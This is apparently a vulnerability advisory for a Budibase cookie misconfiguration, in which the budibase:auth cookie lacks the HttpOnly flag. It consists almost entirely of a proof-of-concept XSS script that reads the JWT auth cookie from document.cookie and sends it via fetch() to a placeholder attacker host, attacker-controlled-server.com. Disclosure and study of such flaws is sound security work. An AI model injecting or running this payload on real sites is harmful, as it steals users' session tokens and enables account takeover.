CVE-2026-42239 Budibase Cookie安全配置不当漏洞

<!-- Proof of Concept (PoC): Demonstration of Cookie Theft via XSS Context: Budibase < 3.35.10, budibase:auth cookie lacks HttpOnly flag. --> <script> // Function to exfiltrate the JWT token function exploitXSS() { // Since httpOnly is false, JS can read the cookie const cookies = document.cookie; const targetCookieName = 'budibase:auth='; // Simple parsing to find the specific cookie const startIndex = cookies.indexOf(targetCookieName); let jwtToken = ''; if (startIndex !== -1) { let endIndex = cookies.indexOf(';', startIndex); if (endIndex === -1) { endIndex = cookies.length; } // Extract the token value jwtToken = cookies.substring(startIndex + targetCookieName.length, endIndex); // Send the token to an external server controlled by the attacker // In a real scenario, this would be an attacker's URL const attackerUrl = 'https://attacker-controlled-server.com/log?token=' + encodeURIComponent(jwtToken); // Use fetch() or new Image() to send the data fetch(attackerUrl).then(() => console.log('Token exfiltrated successfully')); } else { console.log('Target cookie not found.'); } } // Execute the exploit exploitXSS(); </script>